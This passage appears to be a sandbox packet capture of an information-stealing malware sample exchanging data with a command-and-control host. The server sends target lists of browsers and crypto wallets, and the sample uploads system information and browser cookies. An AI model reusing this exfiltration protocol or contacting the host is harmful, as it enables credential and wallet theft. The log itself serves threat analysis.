90Yzc4YjhhZTdiYmQ4M2M1MjU5MDMwMTM1MWExMDBiODU4ZjJjMGZlZmMzNjM0OGVlNzc4MWE3YmRlNjk2N2UzZjUyNWUxODVmfGRvbmV8dGVzdGVkLmZpbGV8MXwwfDF8MXwxfDF8MXwxfA==
Dec 2, 2023 18:02:50.490065098 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:50.503751040 CET	530	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: dskflherlkhopihsf.com Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"browsers------JKJEHJKJEBGHJJKEBGIE--
Dec 2, 2023 18:02:50.723921061 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iZQTrC86CNuPmTlY2Ap6gSDIzSNwpqMfs%2FXCX1COu3bUIjoN9xWJvJGZAL015mSqc75rMWjzVqdJ%2FDxpRXgJMObEpFy7XUfUc28kDAlh5yfM3Syz5AE5qGKsylAQnNJSvYIhXs2ecaE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523cdcca3592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 35 66 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a Data Ascii: 5f0R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZ
Dec 2, 2023 18:02:50.723933935 CET	903	IN	Data Raw: 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 Data Ascii: XJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dz
Dec 2, 2023 18:02:50.723948002 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:50.734606028 CET	529	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: dskflherlkhopihsf.com Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"plugins------KKKKEHJKFCFCBFHIIDGD--
Dec 2, 2023 18:02:50.962039948 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8Q5S07w8LJNyJTRgVk25QPjg8JNZ0aWjYiPtB%2Ft8%2Bm2RR6mSkkgf%2BowUhGDyi%2FxQ3jMvwwjoSqeCIQvvvQ%2F56beFfnCTJDxTctdg8p5JZ0HW0PDMH08cMxNYBxt5UzSJqME0ylsuUeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523cf3e19592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 31 35 32 34 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 Data Ascii: 1524TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfD
Dec 2, 2023 18:02:50.962049961 CET	1340	IN	Data Raw: 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 Data Ascii: B8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFub
Dec 2, 2023 18:02:50.962057114 CET	1340	IN	Data Raw: 59 6d 68 38 4d 58 77 77 66 44 42 38 55 47 46 73 61 53 42 58 59 57 78 73 5a 58 52 38 62 57 64 6d 5a 6d 74 6d 59 6d 6c 6b 61 57 68 71 63 47 39 68 62 32 31 68 61 6d 78 69 5a 32 4e 6f 5a 47 52 73 61 57 4e 6e 63 47 35 38 4d 58 77 77 66 44 42 38 51 6b Data Ascii: Ymh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnwxfDB8MHxOYW1pfGxwZmNiamtuaWpwZWVpbGxpZm5
Dec 2, 2023 18:02:50.962069988 CET	1340	IN	Data Raw: 46 6f 59 6d 31 6e 5a 47 70 72 59 6e 42 6c 62 57 4e 6a 61 57 6c 76 62 47 64 6a 5a 32 56 38 4d 58 77 77 66 44 42 38 55 32 56 75 5a 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 6c 63 47 46 77 61 57 68 6b 63 47 78 68 61 6d 4e 6b 62 6d 35 72 5a 47 56 70 Data Ascii: FoYm1nZGprYnBlbWNjaWlvbGdjZ2V8MXwwfDB8U2VuZGVyIFdhbGxldHxlcGFwaWhkcGxhamNkbm5rZGVpYWhsZ2lnb2Zsb2liZ3wxfDB8MHxIYXNocGFja3xnamFnbWdpZGRiYmNpb3BqaGxsa2RuZGRoY2dsbmVta3wxfDB8MHxFdGVybmx8a21oY2locGViZm1wZ21paGJraXBtamxtbWlvYW1la2F8MXwwfDB8UG9udGVtI
Dec 2, 2023 18:02:50.962080002 CET	944	IN	Data Raw: 61 58 77 78 66 44 42 38 4d 48 78 53 62 32 4a 76 52 6d 39 79 62 58 78 77 62 6d 78 6a 59 32 31 76 61 6d 4e 74 5a 57 39 6f 62 48 42 6e 5a 32 31 6d 62 6d 4a 69 61 57 46 77 61 32 31 69 62 47 6c 76 59 6e 77 78 66 44 42 38 4d 48 78 4d 59 58 4e 30 55 47 Data Ascii: aXwxfDB8MHxSb2JvRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxjZWdlcGxpb2FoZHwxfDB8MHxCcm93c2VyUGFzc3xuYWVwZG9tZ2tlbmhpbm9sb2NmaWZnZWhpZGRkYWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWh
Dec 2, 2023 18:02:50.962306976 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:51.046513081 CET	263	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: dskflherlkhopihsf.com Content-Length: 6179 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2023 18:02:51.046560049 CET	6233	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 2, 2023 18:02:51.279689074 CET	646	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fZXACoo0A3EPIWRIeviCX17SgaWkph1YxoHSfbzkVf7h36gQVJIIb4tsq1NYMIT%2B77iYvpmW2CCRX7GtXv6xalV4VrL1h7eNBCWJ%2FVPD%2FMU8GONJ1PLSwvXEmkydi9YpFyCenogQvcg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523d12fd1592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:02:51.783257961 CET	154	OUT	GET /985f606317f3e8dd/sqlite3.dll HTTP/1.1 Host: dskflherlkhopihsf.com Cache-Control: no-cache
Dec 2, 2023 18:02:51.997883081 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:51 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6mpgARKeTTDRxLgC2oJK4gVzGBxQbCi4eyJR3sUQKOs6hH%2BJCckSOQgUNl6hP82BSk1fuKI5Yb0XvMtNeDyEUujPqC0UdUihe%2FeYf6fW5VtOc5J72V7rk2GZM1VnbHpw0WlqGMTh%2FCw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523d5cb6c592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata
Dec 2, 2023 18:02:51.997908115 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 Data Ascii: @0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"
Dec 2, 2023 18:02:53.054747105 CET	1013	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKK Host: dskflherlkhopihsf.com Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 2d 2d 0d 0a Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; 